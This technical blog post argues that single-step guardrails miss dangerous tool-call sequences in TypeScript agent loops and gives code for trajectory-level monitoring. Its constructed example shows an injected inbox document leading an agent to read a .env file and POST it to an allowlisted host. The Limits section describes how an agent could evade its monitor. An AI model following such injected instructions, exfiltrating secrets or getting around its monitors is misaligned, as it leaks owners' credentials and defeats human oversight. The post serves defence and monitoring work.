
Why Prompt-Level Guardrails Miss Dangerous Tool Calls in TypeScript Agent Loops
Why Prompt-Level Guardrails Miss Dangerous Tool Calls
A system prompt says: never delete files, never send data to an external host. Later in the same run, an agent reads a vendor notice from an inbox, POSTs the contents of a config file to a host it has never used before, and then deletes the scratch files it created. The tool-call log has fifteen lines, and every line holds up on its own. list_directory on an allowed path. read_file on an allowed path. fetch to a host that is on the egress allowlist. delete_file under /tmp. Read one line at a time, nothing in that log looks like an alarm.
That scenario is constructed, not an observed incident — I'm using it because it is the smallest shape that shows the problem. The thesis is narrower than "prompts don't work": prompt-level guardrails evaluate one step, while the risk lives in the sequence. This post walks through why single-call checks miss dangerous tool calls in TypeScript agent loops, what a trajectory-level check looks like in code, and how to instrument a loop so the running sequence — not the individual call — is what gets judged. A control that inspects the current message or the current tool call is answering the wrong question when the danger is a property of an ordered trajectory.
What Prompt-Level Guardrails Actually Inspect
Be precise about what these controls are, because they are legitimate and worth keeping. Prompt-level guardrails include system-prompt instructions, input and output classifiers, per-message moderation passes, and allow/deny lists written into the prompt or enforced against a single request. They all share a unit of analysis: the current message, or the current call, plus whatever static context the prompt carries.
The limitation is scope, not quality. A classifier that correctly labels a hostile document as hostile has done its job; it just was not asked whether that document's contents will be used three steps later. Framing the gap as scope keeps the fix honest — you add a layer, you don't replace one.
Why the Unit of Analysis Is One Step, Not a Trajectory
A tool call is only meaningful relative to the steps before it. "Read a file" is benign. "POST a body to a host" is benign. "Read a file, then POST its contents" is exfiltration, and it is a different event from either of its halves. A single-call classifier sees two benign strings and two benign argument objects, and both of its verdicts are correct in isolation.
A Worked Example: Five Benign Steps, One Exfiltration
Constructed example. Assume the agent is a TypeScript loop calling four tools, and the allowlist for fetch is deliberately generous because the product ships telemetry to a CDN on that domain.
| Step | Call | Single-step check | Verdict |
|---|---|---|---|
| 1 | list_directory({ path: "/inbox" }) | path under an allowed root | pass |
| 2 | read_file({ path: "/inbox/vendor-notice.txt", source: "inbox" }) | path allowed, read-only | pass |
| 3 | read_file({ path: "/srv/app/.env", source: "repo" }) | path allowed, read-only | pass |
| 4 | fetch({ url: "https://cdn.example.net/ingest", method: "POST", body: "<env contents>" }) | host on egress allowlist | pass |
| 5 | delete_file({ path: "/tmp/agent-4f2a" }) | path under /tmp | pass |
Five passes, one exfiltration. Steps 3 and 4 are the ones that matter, and neither is dangerous without the other. Step 2 is where the untrusted content enters — if you only store the final assistant message, you have thrown away the only evidence of the taint source.
Why TypeScript Agent Loops Make Single-Step Guardrails Worse
The loop is ordinary application code, and that matters because it is where you can actually intervene. A typical shape is a while over a messages array, a switch on tool_call.name, and a JSON.parse of tool_call.arguments before dispatch. The model API hands you a request to call a tool; your code decides whether to honor it. That decision point exists on every iteration and is almost always implemented as an unconditional await.
So the risk surface is the code we wrote, not the model provider's API. Providers document function calling as a request/response contract and leave the execution policy to you — which is exactly why the trajectory check belongs in your loop, not in a prompt.
Zod and Static Types Validate Shape, Not Intent
Teams get a false sense of safety here. A schema confirms that { path: string } is a string:
const ReadFileArgs = z.object({
path: z.string(),
source: z.enum(["inbox", "repo", "web"]),
});
It does not know that the path came from inside an injected document, or that source: "inbox" means untrusted. TypeScript holds perfectly at the seam where the danger crosses. Types describe the shape of the payload, not the provenance of its meaning — and provenance is what a trajectory check consumes.
The Messages Array Is the Agent's Real State
The loop's behaviour is a function of accumulated history plus tool results, so that array is your state, not a transcript you log for debugging. Persist only the final answer, or only the call that threw, and you have discarded the record you need to reason about the run after the fact — and to feed a detector before the next call. Persist the full step record with parsed arguments, a result summary, timing, and the model identifier that produced each step. Model versions change behaviour between deployments; without the version on each step, a postmortem cannot tell whether the loop changed or the model did.
What Snowflake's Trajectory Research Proposes
Snowflake published research titled "Beyond the Prompt: Dangerous Activity Detection for AI Agent Trajectories," surfaced in an October 2026 news seed dated 2026-10-14. The public summary describes detecting dangerous activity across agent trajectories rather than at the prompt layer.
The available public detail is an announcement and a title. What I cannot verify from that material is the mechanism — the features, the scoring, the training data, or the thresholds. So the framing below stays at the level the public material supports, and the direction it implies is the same one this post argues for from first principles.
Confirmed vs. Inferred, Stated Out Loud
Confirmed from public material: the research exists, it is attributed to Snowflake, and its stated angle is detection at the trajectory level rather than the prompt level.
Inferred, and labelled as such: that a trajectory detector scores ordered step sequences rather than individual calls, and that the ordering carries the signal. That is what the title suggests and what any trajectory-level design would require, but it is my inference. The paper itself needs to be read before treating the design as settled, and neither the news summary nor this post is a substitute for it.
Instrumenting a TypeScript Loop for Trajectory Monitoring
The pattern is small enough to implement today: record every step as structured data, evaluate the running sequence before executing the next tool, and block or escalate against rule thresholds. This is the runtime monitoring layer that prompt instructions cannot provide.
Step One: Record Every Tool Call as Structured Data
Wrap the tool executor, not the model call. The executor is the single choke point every path goes through, including retries and sub-agent dispatches.
type AgentStep = {
index: number;
tool: string;
args: unknown; // parsed, never the raw JSON string
result: string; // truncated summary, not the full payload
startedAt: number;
endedAt: number;
decision: "allow" | "block" | "escalate";
model: string; // pin the version, e.g. "gpt-4.1-2025-04-14"
};
const steps: AgentStep[] = [];
const summarize = (r: unknown) => JSON.stringify(r).slice(0, 500);
async function instrumentedExecute(tool: string, rawArgs: string, model: string) {
const args = JSON.parse(rawArgs) as Record<string, unknown>;
const startedAt = Date.now();
const result = await toolRegistry[tool](args);
steps.push({
index: steps.length,
tool,
args,
result: summarize(result),
startedAt,
endedAt: Date.now(),
decision: "allow",
model,
});
return result;
}Keep the result summary truncated and never store the raw payload of a file read. You want enough to reconstruct the sequence, not a second copy of the secrets.
Step Two: Evaluate the Running Sequence Before Executing
The hook runs on the accumulated steps plus the proposed next call, and returns a decision object rather than a boolean, so the caller can choose between blocking, pausing, and logging.
type Decision =
| { action: "allow" }
| { action: "block"; reason: string }
| { action: "escalate"; reason: string };
const UNTRUSTED_SOURCES = new Set(["inbox", "web"]);
function evaluate(steps: AgentStep[], next: { tool: string; args: any }): Decision {
const tainted = steps.some(
(s) => s.tool === "read_file" && UNTRUSTED_SOURCES.has((s.args as any)?.source)
);
// egress or destructive action after untrusted content entered the run
if (tainted && (next.tool === "fetch" || next.tool === "delete_file")) {
return { action: "escalate", reason: "tainted-trajectory-egress" };
}
// destructive tool reached before the task has established any context
if (next.tool === "delete_file" && steps.length < 3) {
return { action: "block", reason: "destructive-before-context" };
}
// repeated identical call
const tail = steps.slice(-2);
const same = (s: AgentStep) =>
s.tool === next.tool && JSON.stringify(s.args) === JSON.stringify(next.args);
if (tail.length === 2 && tail.every(same)) {
return { action: "block", reason: "repeat-loop" };
}
return { action: "allow" };
}Three rules, not a product. The point is that they read steps, which means they can express ordering, provenance, and repetition — none of which a single-call check can see.
Step Three: Decide What Blocking Actually Means
Blocking is a behaviour you have to define, and the three options are not equivalent:
- Throw. Simple, but if some tools are non-idempotent, a throw mid-trajectory leaves the run half-applied with no record of what completed.
- Return a refusal as a tool result. The model sees
refused: tainted-trajectory-egressas the tool output and can attempt a different path. Usually the right default, because it keeps the loop's control flow intact and keeps the model's recovery attempt inside the same logged trajectory. - Escalate. Pause the loop, persist the steps, and require a human decision. Use this for the ambiguous middle ground rather than pretending your rules are precise enough to block it.
Where a Framework Like Agent-Native Fits
Builder.io released Agent-Native, an open-source TypeScript framework for building agentic apps, announced in the same October 2026 window as the Snowflake research (openPR, 2026-10-14). The relevant point is not a feature tour: a framework gives you one place to install the step recorder and the pre-execution hook instead of duplicating them across call sites. That matters here because the guardrail is only as complete as its coverage — one unwrapped await tool() anywhere in the codebase is a hole the trajectory check never sees.
The caveat: Agent-Native is new and I have not run it. Its primitives — where tool execution is intercepted, whether hooks can mutate or reject a call, how the message history is exposed — need checking against its current docs before you build on them. Treat "the framework gives you a hook point" as a claim to verify, not a given.
What I Would Test Before Trusting This
Report the evaluation the way any other eval is reported: task, inputs, criterion, count, result.
Task: flag dangerous trajectories before the dangerous step executes.
Inputs: 30 scripted trajectories, 4-8 steps each:
10 clear-cut dangerous (untrusted read -> egress or destructive write),
10 ambiguous (untrusted read, then an unrelated legitimate call),
10 benign (no untrusted read, no egress, no destructive action).
Criterion: dangerous flagged at the correct step index;
benign trajectories not flagged at all.
Count: 30 trajectories, 3 rules.
Result: not run. The harness above is a setup, not a measured result.
No pass rates here, because I have not run this against a live model loop. When you do run it, record the false-positive count alongside the true positives — a rule set that flags nothing at all is not a safe control, and a rule set that flags every run is one people will disable in a week.
Trajectory monitoring is detection, not a permission system. It does not replace scoped credentials, least-privilege tool tokens, sandboxed filesystem access, or an egress allowlist. Those controls prevent classes of action regardless of what the model decides; the monitor only decides whether to let the loop try.
Limits and Open Questions
False positives cost trust and latency, and a monitor that pauses legitimate work will be routed around by the people using it. A monitor running inside the same process as the loop is inside the same trust boundary, so a bug or an injected instruction that reaches the monitor's state can influence it. An agent that can read its own monitoring rules — say, because the rule file lives in the repository it has read access to — can pattern-match around them. Scoring thresholds need recalibration as models and prompts change, which makes the rules a maintenance surface, not a one-time addition.
All of these remain unresolved. Trajectory monitoring narrows the window between "the model was manipulated" and "something bad happened." It does not close it.
Conclusion
Prompt-level guardrails are worth keeping, but they are not where agent safety is decided. Danger is a property of the trajectory, and a control that evaluates one step at a time is structurally blind to it. The minimum credible control is two things: a persisted step log with parsed arguments, results, timing, and the model version per step, plus a pre-execution check on the running sequence that returns a decision the caller can act on. The concrete next action is to wrap the tool executor today and start collecting step records, even before you have rules worth running against them — the log is what makes the rules testable, and the rules are worthless without it.
Further Reading
- Snowflake, Beyond the Prompt: Dangerous Activity Detection for AI Agent Trajectories — research write-up announced 2026-10-14, surfaced via Google News; the underlying paper is the primary source.
- Builder.io, Agent-Native — open-source TypeScript framework announcement, openPR via Google News; check the framework's current docs for hook points before relying on them.
- OpenAI, Function calling guide — official docs; the request/response contract that leaves execution policy to your code.
- Anthropic, Tool use overview — official docs; tool-use loop mechanics and where the caller decides to execute.
Share this post
More posts

Intercepting Egress in Node/TypeScript Agent Evals: fetch, undici, DNS, spawn, and the Audit Log That Fails the Run

Auditing the Hugging Face Transformers RCE Vulnerability: Practical Developer Defense
